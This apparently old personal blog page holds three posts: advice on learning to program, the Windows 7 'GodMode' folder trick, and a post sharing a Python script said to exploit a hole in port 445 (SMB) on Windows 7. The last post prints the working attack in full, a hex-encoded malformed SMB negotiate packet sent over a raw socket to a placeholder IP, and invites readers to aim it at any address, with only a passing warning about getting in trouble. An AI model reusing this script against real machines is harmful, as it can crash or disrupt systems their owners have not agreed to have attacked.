Got Code?

Tutorial

How To: Get Started with Programming

So I got asked on advice on starting iPhone development on Twitter. I’m not an iPhone developer  but you can’t just go “Hmm, I want to make an iPhone app” with no programming experience, its not that easy as most people think (And programming isn’t “just writing code”, you need to figure out shit to get your desired output, its an ART) This guide should get you STARTED with programming, and then eventually when your comfortable you can begin iPhone development (You can actually write iPhone apps in C++ too, another reason to read this post). So, anyways, let’s get into the goods.

Now, knowing what I know I definitely would NOT recommend C/C++ to a beginner. It’s much more difficult, especially if your 11 (which is when I started). After I finished the book I bought (C++ for Dummies), I studied .NET. Visual Basic is a nice beginner language if your looking to develop small, quick programs. You may not be able to do much, and that’s why you should look into other languages. I’ve heard that Python is a good beginner language, however Python is not a C based language, its got its flaws and most other languages won’t inherit what you find in Python, unlike in C. So, you should start out with a C based language like Java. It’s fairly easy (It’s huge, however, so it will take awhile to learn), and you can perform most operations quickly and easily.  Making a user interface is also an easy task, especially with an IDE like netbeans.

Now, after you learn this you will be  a DECENT programmer, and you can learn other programming languages, take C# for example. However, you are no expert programmer. You will be able to make fairly complex windows applications and quickly adjust to several API’s.

At this point there may be several more concepts you should know, things like linked lists, binary trees, algorithms and other data structures, how sockets work and how to program with them (socket programming IS difficult). After much practice, if you really want to become an even better programmer, you have to dive into the hardware end of things. You need to know how processors work, about caches and registers and interrupts and the various memory addressing schemes. You need to understand L1 and L2 caching to maximize performance, you need to understand how the CPU steps through code, and you need to know how the code you write in C++ or VB gets turned into machine language for the computer to understand. Before you are done you will be able to open an executable file in a hex editor and, using the target CPU’s instruction set manual, be able to turn it BACK into assembly language.

This can take years, but it’s certainly worth it. Don’t freak out, you’ll be surprised at how much you can learn in a year. I was.

Advertisements

Windows 7 GodMode

So, I though this was quite interesting..

First, create a folder wherever, I put mine in C:\, then rename it to the following (EXACTLY AS IT IS):

GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}

Open it…

You get full access to all of your setting right in one folder. The text string is a GUID key, generated by the IDE when the code is built and are referenced in code by an alias.

So that can save you some time..please note that this feature is only available to Windows 7 users.


Windows 7: The hole in Port 445

I found this interesting python script that exploits a hole in Port 445 in Windows 7.  Anyway, it will likely be patched soon, and you CAN get in trouble for using this, so use with caution.

host = “129.4.5.01″, 445
buff = (
“\x00\x00\x00\x90\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53″
“\xc8\x00\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff”
“\xff\xfe\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45″
“\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31″
“\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00″
“\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57″
“\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61″
“\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c”
“\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c”
“\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e”
“\x30\x30\x32\x00″
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Since MS decided to leave Port 445 open, we are able to do the preceding.

You can implent any IP address you have, “129.4.5.01″ is a fake one I just used for an example.